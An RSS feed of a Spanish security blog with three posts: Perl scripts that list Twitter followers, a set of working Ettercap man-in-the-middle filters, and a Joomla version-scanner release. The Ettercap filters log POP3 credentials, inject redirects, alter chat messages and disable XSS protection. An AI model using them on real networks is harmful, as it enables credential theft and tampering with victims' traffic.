<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pepelux &#187; Pepelux</title>
	<atom:link href="http://blog.pepelux.org/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.pepelux.org</link>
	<description>blog</description>
	<lastBuildDate>Fri, 03 Feb 2012 18:43:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>¿Quién me sigue en Twitter?</title>
		<link>http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 18:43:36 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Followers]]></category>
		<category><![CDATA[Seguidores]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=818</guid>
		<description><![CDATA[Son muchos los que viven obsesionados con su Twitter. &#8216;¿Tengo algún seguidor nuevo hoy?&#8217; &#8216;¡mierda! ¡tengo 2 menos que ayer!&#8217; Dado que no me fío mucho de las herramientas online que te exigen meter tu usuario y contraseña, he hecho unos pequeños scripts para ver mis seguidores, comprobar si me sigue la gente que yo [...]]]></description>
			<content:encoded><![CDATA[<p>Son muchos los que viven obsesionados con su Twitter. &#8216;¿Tengo algún seguidor nuevo hoy?&#8217; &#8216;¡mierda! ¡tengo 2 menos que ayer!&#8217;</p>
<p>Dado que no me fío mucho de las herramientas online que te exigen meter tu usuario y contraseña, he hecho unos pequeños scripts para ver mis seguidores, comprobar si me sigue la gente que yo sigo, etc.</p>
<p>Para comenzar, vamos a ver un sencillo script, al que pasándole dos usuarios, nos dice si se siguen entre ellos &#8230;</p>
<pre class="brush: perl; title: ; notranslate">
#! /bin/perl
# by Pepelux (@pepeluxx)

use Net::Twitter;

my $nt = Net::Twitter-&gt;new(legacy =&gt; 0);

my ($user1, $user2) = @ARGV;

unless($ARGV[1]) {
	print &quot;Usage: perl $0 &lt;user1&gt; &lt;user2&gt;\n&quot;;
	exit 1;
}

my $res = $nt-&gt;friendship_exists($user1, $user2);

if ($res eq true) {
	print &quot;$user1 is following $user2\n&quot;;
}
else {
	print &quot;$user1 is not following $user2\n&quot;;
}

$res = $nt-&gt;friendship_exists($user2, $user1);

if ($res eq true) {
	print &quot;$user2 is following $user1\n&quot;;
}
else {
	print &quot;$user2 is not following $user1\n&quot;;
}
</pre>
<p>Y el funcionamiento es sencillo:</p>
<pre class="brush: cpp; title: ; notranslate">
pepelux@debian:~/twitter$ perl amigos.pl
Usage: perl amigos.pl &lt;user1&gt; &lt;user2&gt;

pepelux@debian:~/twitter$ perl amigos.pl pepeluxx chemaalonso
pepeluxx is following chemaalonso
chemaalonso is following pepeluxx
</pre>
<p>Aquí vemos que yo sigo al &#8216;maligno&#8217; y él me sigue a mí.</p>
<pre class="brush: cpp; title: ; notranslate">
pepelux@debian:~/twitter$ perl amigos.pl
Usage: perl amigos.pl &lt;user1&gt; &lt;user2&gt;

pepelux@debian:~/twitter$ perl amigos.pl pepeluxx reversemode
pepeluxx is following reversemode
reversemode is not following pepeluxx
</pre>
<p>En este caso, Rubén no me está siguiendo, a pesar de que yo le sigo hace años &#8230; mmm }:-></p>
<p>Bueno, pues esto es un chorrada de script, la verdad, pero nos sirve para ver un poco cómo usar el API de Twitter con Perl.</p>
<p>Tras esto, pensé en hacer algo automático que me sacara toda la gente que sigo y verificara si ellos me siguen a mí, por lo que me creé este otro script:</p>
<pre class="brush: perl; title: ; notranslate">
#! /bin/perl
# by Pepelux (@pepeluxx)

use Net::Twitter;
use WWW::Curl::Easy;

my ($user) = @ARGV;

unless($ARGV[0]) {
	print &quot;Usage: perl $0 &lt;user&gt;\n&quot;;
	exit 1;
}

my $curl = WWW::Curl::Easy-&gt;new;
my $nt = Net::Twitter-&gt;new(legacy =&gt; 0);
my $url = &quot;https://api.twitter.com/1/followers/ids.json?cursor=-1&amp;screen_name=$user&quot;;

$curl-&gt;setopt(CURLOPT_HEADER,1);
$curl-&gt;setopt(CURLOPT_URL, $url);

my $response_body;
$curl-&gt;setopt(CURLOPT_WRITEDATA,\$response_body);
my $retcode = $curl-&gt;perform;

if ($retcode == 0) {
	my $response_code = $curl-&gt;getinfo(CURLINFO_HTTP_CODE);
	$response_body =~ /\[([0-9|,]+)\]/;
	my @followers_id = split(/,/, $1);

	foreach (@followers_id) {
		print get_user($user, $_).&quot;\n&quot;;
	}
} else {
	die(&quot;An error happened: $retcode &quot;.$curl-&gt;strerror($retcode).&quot; &quot;.$curl-&gt;errbuf.&quot;\n&quot;);
}

exit;               

sub get_user {
	my $user = shift;
	my $id = shift;

	my $url = &quot;https://api.twitter.com/1/users/lookup.json?user_id=$id&quot;;
	$curl-&gt;setopt(CURLOPT_HEADER,1);
	$curl-&gt;setopt(CURLOPT_URL, $url);

	my $response_body;
	my $username = &quot;&quot;;
	my $screenname = &quot;&quot;;
	$curl-&gt;setopt(CURLOPT_WRITEDATA,\$response_body);
	my $retcode = $curl-&gt;perform;

	if ($retcode == 0) {
		my $response_code = $curl-&gt;getinfo(CURLINFO_HTTP_CODE);
		$username = $response_body;
		my $pos = index($username, &quot;\&quot;name\&quot;&quot;);

		if ($pos &gt; -1 &amp;&amp; length($username &lt; 100)) {
			$username =~ /\&quot;name\&quot;\:\&quot;(.+)\&quot;/;
			$username = $1;
			$pos = index($username, &quot;\&quot;&quot;);
			$username = substr($username, 0, $pos) if ($pos &gt; -1);
		}

		$screenname = $response_body;
		$screenname =~ /\&quot;screen_name\&quot;\:\&quot;([a-z|A-Z|0-9|-|_|]+)\&quot;/;
		$screenname = $1;
	} else {
		die(&quot;An error happened: $retcode &quot;.$curl-&gt;strerror($retcode).&quot; &quot;.$curl-&gt;errbuf.&quot;\n&quot;);
	}

	my $res = $nt-&gt;friendship_exists($screenname, $user);
	my $follow = &quot;&quot;;

	if ($res eq true) {
		$follow = &quot; :: is following $user&quot;;
	}

	return &quot;$username ($screenname - ID: $id)$follow&quot;;
}
</pre>
<p>Pasando un usuario como parámetro, nos dice los seguidores que tiene y si le siguen a él o no:</p>
<pre class="brush: cpp; title: ; notranslate">

pepelux@debian:~/twitter$ perl seguidores.pl
Usage: perl seguidores.pl &lt;user&gt;

pepelux@debian:~/twitter$ perl seguidores.pl pepeluxx
Paul Thompson (raganello - ID: 72968446)
Pablo Dom\u00ednguez  (PabloDgzRg - ID: 276615022)
Jes\u00fas (jesusninoc - ID: 231410165) :: is following pepeluxx
Darkasakerionz (Darkasakerionz - ID: 438326182) :: is following pepeluxx
p0is0n-123 (p0is0nseginf - ID: 434205269) :: is following pepeluxx
..........
</pre>
<p>La cosa pintaba bien pero de repente &#8230;</p>
<pre class="brush: cpp; title: ; notranslate">
&quot;error&quot;:&quot;Rate limit exceeded. Clients may not make more than 150 requests per hour.
</pre>
<p>Cagontó!! 150 por hora??? imposible!!! Así que tras indagar un poco traté de hacer una validación de usuario con el curl pero parece que desde el 2010 no se puede, así que no me quedó otra que crearme un ID de desarrollador en <a href="https://dev.twitter.com/apps/new">https://dev.twitter.com/apps/new</a> y modificar de nuevo el script, que quedó así:</p>
<pre class="brush: perl; title: ; notranslate">
#! /bin/perl
# by Pepelux (@pepeluxx)
# to get a key =&gt; https://dev.twitter.com/apps/new

use Net::Twitter;

my ($myuser) = @ARGV;

unless($ARGV[0]) {
	print &quot;Usage: perl $0 &lt;user&gt;\n&quot;;
	exit 1;
}

# write here your API KEY data
my $consumer_key = &quot;XXXX&quot;;
my $consumer_secret = &quot;XXXX&quot;;
my $token = &quot;XXXX&quot;;
my $token_secret = &quot;XXXX&quot;;

my $nt = Net::Twitter-&gt;new(
	traits   =&gt; [qw/OAuth API::REST/],
	consumer_key        =&gt; $consumer_key,
	consumer_secret     =&gt; $consumer_secret,
	access_token        =&gt; $token,
	access_token_secret =&gt; $token_secret,
	);

# uncomment this line if you don't want to use an API KEY (only 150 requests)
#my $nt = Net::Twitter-&gt;new(legacy =&gt; 0);

my $cont = 0;

for ( my $cursor = -1, my $r; $cursor; $cursor = $r-&gt;{next_cursor}) {
	$r = $nt-&gt;friends_ids({screen_name=&gt;$myuser,cursor=&gt;$cursor});

	while(@{$r-&gt;{ids}}) {
		my @ids = splice @{$r-&gt;{ids}},0,100;
		my $friends = $nt-&gt;lookup_users({user_id=&gt;\@ids});

		foreach (@$friends) {
			my $user = $_;
			my $screen_name = $user-&gt;{&quot;screen_name&quot;};
			my $name = $user-&gt;{&quot;name&quot;};
			print $screen_name.&quot; ($name)&quot;;

			my $res = $nt-&gt;friendship_exists($screen_name, $myuser);

			if ($res eq true) {
				print &quot; =&gt; is following $myuser&quot;;
				$cont++;
			}

			print &quot;\n&quot;;
		}
	}

	print &quot;\nYou follow $#friends\n&quot;;
	print &quot;You have $cont followers\n&quot;;
}
</pre>
<p>Si lo ejecutamos, podemos ver la gente que sigo y, de ellos, los que me siguen a mí:</p>
<pre class="brush: cpp; title: ; notranslate">
pepelux@debian:~/twitter$ perl siguiendo.pl pepeluxx
sandrogauci (Sandro Gauci) =&gt; is following pepeluxx
borjalanseros (Borja Lanseros) =&gt; is following pepeluxx
k3170Makan (Keith Makan) =&gt; is following pepeluxx
virtualminds_es (I�aki R.) =&gt; is following pepeluxx
jordi_prats (Jordi Prats) =&gt; is following pepeluxx
JordanSec (Jordan)
bytemarehack (Daniel Torres) =&gt; is following pepeluxx
tinpardo (tinpardo) =&gt; is following pepeluxx
...........
</pre>
<p>Si queremos hacerlo a la inversa y listar todos los que nos siguen, usaríamos este otro script:</p>
<pre class="brush: perl; title: ; notranslate">
#! /bin/perl
# by Pepelux (@pepeluxx)
# to get a key =&gt; https://dev.twitter.com/apps/new

use Net::Twitter;

my ($myuser) = @ARGV;

unless($ARGV[0]) {
	print &quot;Usage: perl $0 &lt;user&gt;\n&quot;;
	exit 1;
}

# write here your API KEY data
my $consumer_key = &quot;XXXX&quot;;
my $consumer_secret = &quot;XXXX&quot;;
my $token = &quot;XXXX&quot;;
my $token_secret = &quot;XXXX&quot;;

my $nt = Net::Twitter-&gt;new(
	traits   =&gt; [qw/OAuth API::REST/],
	consumer_key        =&gt; $consumer_key,
	consumer_secret     =&gt; $consumer_secret,
	access_token        =&gt; $token,
	access_token_secret =&gt; $token_secret,
	);

# uncomment this line if you don't want to use an API KEY (only 150 requests)
#my $nt = Net::Twitter-&gt;new(legacy =&gt; 0);

my $cont = 0;
my @followers;

for ( my $cursor = -1, my $r; $cursor; $cursor = $r-&gt;{next_cursor} ) {
	$r = $nt-&gt;followers({ screen_name=&gt;$myuser,cursor =&gt; $cursor });
	push @followers, @{ $r-&gt;{users} };

	for my $user (@followers) {
		my $screen_name = $user-&gt;{&quot;screen_name&quot;};
		my $name = $user-&gt;{&quot;name&quot;};
		print $screen_name.&quot; ($name)&quot;;

		my $res = $nt-&gt;friendship_exists($myuser, $screen_name);

		if ($res eq true) {
			print &quot; =&gt; $myuser is following&quot;;
			$cont++;
		}

		print &quot;\n&quot;;
	}

	print &quot;\nYou follow $cont\n&quot;;
	print &quot;You have $#followers followers\n&quot;;
}
</pre>
<p>Y en este caso, al ejecutarlo, veríamos algo así:</p>
<pre class="brush: cpp; title: ; notranslate">
pepelux@debian:~/twitter$ perl seguidores.pl pepeluxx
raganello (Paul Thompson)
PabloDgzRg (Pablo Dom�nguez )
jesusninoc (Jes�s) =&gt; pepeluxx is following
Darkasakerionz (Darkasakerionz)
p0is0nseginf (p0is0n-123) =&gt; pepeluxx is following
CharSecurity ([hat~se[urity) =&gt; pepeluxx is following
Darkvidhck (David Galisteo)
fpalenzuela (Pensador)
k3170Makan (Keith Makan) =&gt; pepeluxx is following
violetaromero3 (violeta romero)
..........
</pre>
<p>Estos scripts no es que sean muy útiles, pero nos sirven de iniciación para adentrarnos un poco en la API de Twitter. Toda la documentación está aquí: <a href="https://dev.twitter.com/">https://dev.twitter.com/</a></p>
<p>Saludos<br />
</br><br />
</br></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2012%2F02%2F03%2F%25c2%25bfquien-me-sigue-en-twitter%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/&amp;title=&Acirc;&iquest;Qui&Atilde;&copy;n me sigue en Twitter?"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="¿Quién me sigue en Twitter? (vía @pepeluxx)" data-url="http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2012/02/03/%c2%bfquien-me-sigue-en-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jugando con los filtros para Ettercap</title>
		<link>http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 15:02:18 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Ettercap]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Man In The Middle]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=780</guid>
		<description><![CDATA[Aprovechando que estoy en casa griposo y además, preparando el contenido para los talleres de ConectaCon Jaen, donde espero veros a todos &#8230; voy a poner algunos filtros para Ettercap que he ido programando (only for fun) o que he encontrado por la red. La verdad es que con 4 comandos y un poco de imaginación, [...]]]></description>
			<content:encoded><![CDATA[<p>Aprovechando que estoy en casa griposo y además, preparando el contenido para los talleres de <a class="vt-p" href="http://www.conectaconjaen.org/" target="_blank">ConectaCon Jaen</a>, donde espero veros a todos <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8230; voy a poner algunos filtros para <a class="vt-p" href="http://ettercap.sourceforge.net/" target="_blank">Ettercap</a> que he ido programando (only for fun) o que he encontrado por la red. La verdad es que con 4 comandos y un poco de imaginación, se pueden hacer muchas cosas }:-&gt;</p>
<p>No voy a contar qué es Ettercap ni cómo se usan los filtros dado que hay muchísima información en Internet. Así que vamos directamente a ver algunos ejemplos:</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 1</strong></span><strong>:</strong> Baneando el acceso a Tuenti.com</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.src == '95.131.168.181' || ip.dst == '95.131.168.181') {

     drop();

     kill();

     msg(&quot;banned IP Tuenti.com&quot;);

}
</pre>
<p>Este pequeño script lo que hace es, que si la dirección origen o destino es la indicada, borra el paquete y mata la conexión.</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 2</strong></span><strong>:</strong> Bloqueando paquetes UDP</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == UDP) {

     drop();

     kill();

     msg(&quot;banned UDP Packet&quot;);

}
</pre>
<p>Este otro script bloquea todo el tráfico UDP.</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 3</strong></span><strong>:</strong> Cambiando las imágenes que el usuario carga en su navegador al visitar una web</p>
<pre class="brush: cpp; title: ; notranslate">
############################################################################

#                                                                          #

#  Jolly Pwned -- ig.filter -- filter source file                          #

#                                                                          #

#  By Irongeek. based on code from ALoR &amp; NaGA                             #

#  Along with some help from Kev and jon.dmml                              #

#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #

#                                                                          #

#  This program is free software; you can redistribute it and/or modify    #

#  it under the terms of the GNU General Public License as published by    #

#  the Free Software Foundation; either version 2 of the License, or       #

#  (at your option) any later version.                                     #

#                                                                          #

############################################################################

if (ip.proto == TCP &amp;&amp; tcp.dst == 80) {

     if (search(DATA.data, &quot;Accept-Encoding&quot;)) {

          replace(&quot;Accept-Encoding&quot;, &quot;Accept-Rubbish!&quot;); # note: replacement string is same length as original string

          msg(&quot;zapped Accept-Encoding!\n&quot;);

     }
}

if (ip.proto == TCP &amp;&amp; tcp.src == 80) {

     replace(&quot;img src=&quot;, &quot;img src=\&quot;http://www.irongeek.com/images/jollypwn.png\&quot; &quot;);

     replace(&quot;IMG SRC=&quot;, &quot;img src=\&quot;http://www.irongeek.com/images/jollypwn.png\&quot; &quot;);

     msg(&quot;Filter Ran.\n&quot;);

}
</pre>
<p>Aquí, cada vez que se detecte una conexión al puerto 80 (HTTP), cargará las imágenes de http://www.irongeek.com/images/jollypwn.png en lugar de las originales.</p>
<p>Al igual que cambiamos las imágenes, podemos modificar textos, por ejemplo, podemos hacer un replace de &#8216;Madrid&#8217; por &#8216;Barça &#8216;  :)</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 4</strong></span><strong>:</strong> Guardando datos en disco</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 110 || tcp.dst == 110) {
		if (search(DATA.data, &quot;&quot;)) {
			log(DECODED.data, &quot;/tmp/xxx.log&quot;);
		}
	}
}
</pre>
<p>Se almacenará en el fichero indicado todo el tráfico generado por el puerto 110 (POP3), almacenando tanto el contenido de los mails, como usuarios y contraseñas de acceso, etc.</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 5</strong></span><strong>:</strong> Inyectando paquetes</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == TCP &amp;&amp; tcp.src == 80) {
   if (regex(DATA.data, &quot;&lt;title&gt;.*Bing.*&lt;/title&gt;&quot;)) {
      drop();
      Inject(&quot;/tmp/redirect.txt&quot;);
      msg(&quot;Redireccion&quot;);
   }
}
</pre>
<p><br/>Donde redirect.txt sería algo así:<br />
<br/></p>
<pre class="brush: cpp; title: ; notranslate">
&lt;html&gt;
   &lt;head&gt;
      &lt;meta http-equiv=&quot;Refresh&quot; content=&quot;0; URL=http://www.google.com&quot;&gt;
   &lt;/head&gt;
   &lt;body&gt;&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>En este caso, cada vez que el usuario intente cargar el buscador Bing en su navegador, lo que hará será ir siempre a Google.<br/><br />
Esto parece una broma, pero estando dentro de la propia red, podemos redirigir al usuario a una web clonada con algún tipo de malware, o combinarlo con Metasploit.</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 6</strong></span><strong>:</strong> Alterando datos del Messenger</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 1863 || tcp.dst == 1863) {
		if (search(DATA.data, &quot;&quot;)) {
			replace(&quot;estupendo&quot;, &quot;horroroso&quot;);
			replace(&quot;hasta pronto&quot;, &quot;hasta nunca &quot;);
		}
	}
}
</pre>
<p>De forma similar a las imágenes de la web, en este caso lo que hacemos es modificar las conversaciones de los usuarios, de manera que cuando un usuario escriba la palabra &#8216;estupendo&#8217; el otro leerá &#8216;horroroso&#8217;.</p>
<p>A parte de esto, en las cabeceras de las conversaciones siempre aparece la dirección de mail del usuario al que escribimos, por lo que, en caso de conocer los usuarios que tiene la víctima en su Messenger, podemos intercambiar las direcciones  - replace(&#8220;direccion1@hotmail.com&#8221;, &#8221;direccion2@hotmail.com&#8221;) - , de manera que al escribirle un usuario le llegaría el mensaje como si fuera de otro &#8230; vamos, para echarse unas risas <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 7</strong></span><strong>:</strong> Puteando al personal</p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == TCP &amp;&amp; tcp.dst == 80) {
   if (search(DATA.data, &quot;gzip&quot;)) {
      replace(&quot;gzip&quot;, &quot;    &quot;);
      msg(&quot;whited out gzip\n&quot;);
   }
   if (search(DATA.data, &quot;deflate&quot;)) {
      replace(&quot;deflate&quot;, &quot;       &quot;);
      msg(&quot;whited out deflate\n&quot;);
   }
   if (search(DATA.data, &quot;gzip,deflate&quot;)) {
      replace(&quot;gzip,deflate&quot;, &quot;            &quot;);
      msg(&quot;whited out gzip and deflate\n&quot;);
   }
   if (search(DATA.data, &quot;Accept-Encoding&quot;)) {
      replace(&quot;Accept-Encoding&quot;, &quot;Accept-Rubbish!&quot;);
      msg(&quot;zapped Accept-Encoding!\n&quot;);
   }
   if (search(DECODED.data, &quot;Accept-Encoding&quot;)) {
      replace(&quot;Accept-Encoding&quot;, &quot;Accept-Rubbish!&quot;);
      msg(&quot;zapped Accept_Decoded-Encoding!\n&quot;);
   }
}
if (ip.proto == TCP &amp;&amp; tcp.src == 80) {
	if (regex(DATA.data, &quot;&lt;title&gt;Gmail&lt;/title&gt;&quot;))
	{
           replace(&quot;&lt;/title&gt;&quot;, &quot;&lt;/title&gt;&lt;script&gt;alert('Gracias por usar nuestros servicios de Gmail')&lt;/script&gt;
                                               &lt;script&gt;alert('Nos congratula que nos haya escogido')&lt;/script&gt;
                                               &lt;script&gt;alert('De verdad, que le estamos muy agradecidos')&lt;/script&gt;
                                               &lt;script&gt;alert('Esta bien, ya puede acceder a su correo')&lt;/script&gt;&quot;);
       }
}
</pre>
<p>En este caso, lanzamos algunos Alert cada vez que el usuario abra la página de GMail.</p>
<p><br/><br />
<span style="text-decoration: underline;"><strong>Ejemplo 8</strong></span><strong>:</strong> Eliminando el filtro Anti-XSS de Internet Explorer</span></p>
<pre class="brush: cpp; title: ; notranslate">
# By Pepelux

if (ip.proto == TCP &amp;&amp; tcp.dst == 80) {
   if (search(DATA.data, &quot;gzip&quot;)) {
      replace(&quot;gzip&quot;, &quot;    &quot;);
   }
   if (search(DATA.data, &quot;deflate&quot;)) {
      replace(&quot;deflate&quot;, &quot;       &quot;);
   }
   if (search(DATA.data, &quot;gzip,deflate&quot;)) {
      replace(&quot;gzip,deflate&quot;, &quot;            &quot;);
   }
   if (search(DATA.data, &quot;Accept-Encoding&quot;)) {
      replace(&quot;Accept-Encoding&quot;, &quot;Accept-Rubbish!&quot;);
   }
   if (search(DATA.data, &quot;X-XSS-Protection: 1&quot;)) {
      replace(&quot;X-XSS-Protection: 1&quot;, &quot;X-XSS-Protection: 0&quot;);
      msg(&quot;XSS Protection unactive\n&quot;);
   }
}
</pre>
<p><br/><br />
&#8212;&#8212;&#8212;-</p>
<p>Como ya comenté, la programación es muy sencilla y entra más en juego la imaginación de cada uno. Saludos<br />
<br/></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2012%2F01%2F05%2Fjugando-con-los-filtros-para-ettercap%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/&amp;title=Jugando con los filtros para Ettercap"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Jugando con los filtros para Ettercap (vía @pepeluxx)" data-url="http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2012/01/05/jugando-con-los-filtros-para-ettercap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JoomlaScan v1.3</title>
		<link>http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/10/30/joomlascan-v1-3/#comments</comments>
		<pubDate>Sun, 30 Oct 2011 02:07:30 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Escaner web]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Escanear bugs en Joomla]]></category>
		<category><![CDATA[JoomlaScan]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=769</guid>
		<description><![CDATA[Lo malo de programar aplicaciones que requieren un mantenimiento es que nunca sacas tiempo para actualizarlos. Hace poco me preguntaron por él mis amigos @ralcaz y @falcon_lownoise y la verdad es que ni me acordaba ya de este programa. Tras echarle un ojo al código, (dios mío! 14 meses sin actualizarlo! cómo pasa el tiempo!), [...]]]></description>
			<content:encoded><![CDATA[<p>Lo malo de programar aplicaciones que requieren un mantenimiento es que nunca sacas tiempo para actualizarlos. Hace poco me preguntaron por él mis amigos <a class="vt-p" href="http://www.twitter.com/ralcaz" target="_blank">@ralcaz</a> y <a class="vt-p" href="http://www.twitter.com/falcon_lownoise" target="_blank">@falcon_lownoise</a> y la verdad es que ni me acordaba ya de este programa.</p>
<p>Tras echarle un ojo al código, (dios mío! 14 meses sin actualizarlo! cómo pasa el tiempo!), vi que la última versión que detectaba eran las versiones beta de la 1.6, así que me he descargado las nuevas y tras unas horas haciendo diffs y viendo los cambios de revisiones en <a class="vt-p" href="http://joomlacode.org/">http://joomlacode.org/</a>, ya detecta todas las versiones de la 1.6 y de la 1.7.</p>
<p>Además me he dado cuenta de una cosa muy curiosa, que no se si afecta a las versiones anteriores a la 1.6.0, y es que en el fichero<strong> /administrator/manifest/files/joomla.xml</strong> hay una etiquete que te dice la versión exacta:</p>
<p><strong>&lt;version&gt;<span style="color: #993300;">1.X.Y</span>&lt;/version&gt;</strong></p>
<p>Con esto la búsqueda de versiones se reduce a mirar un único fichero, aunque, por si las moscas, he buscado otras diferencias que hacen posible detectar la versión exacta, incluso sin estar ese fichero.</p>
<p>Y bueno, para el que no lo sepa, <strong>JoomlaScan</strong> es un programa que intenta averiguar la versión exacta de <strong>Joomla!</strong> (o al menos aproximarse) que está corriendo en un servidor y detecta los componentes que se están usando. Además, muestra un listado de posibles bugs, tanto para el propio Joomla! como para los diferentes componentes (esto último es más inexacto ya que no se tiene en cuenta la versión del componente).</p>
<p>Hay una versión en Windows, que no la he actualizado y sólo detecta hasta la 1.6-beta: [<a class="vt-p" href="http://pepelux.org/download.php?f=programs/JoomlaScanSetup.zip" target="_blank">descargar</a>] y otra versión en perl, que es la que he actualizado hasta la 1.7.2 [<a class="vt-p" href="http://pepelux.org/download.php?f=scripts/joomlascan.tgz" target="_blank">descargar</a>]</p>
<p>&nbsp;</p>
<p><a class="vt-p" href="http://blog.pepelux.org/wp-content/uploads/joomlascan13.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="aligncenter size-full wp-image-770" title="joomlascan13" src="http://blog.pepelux.org/wp-content/uploads/joomlascan13.jpg" alt="" width="549" height="519" /></a></p>
<p>&nbsp;</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
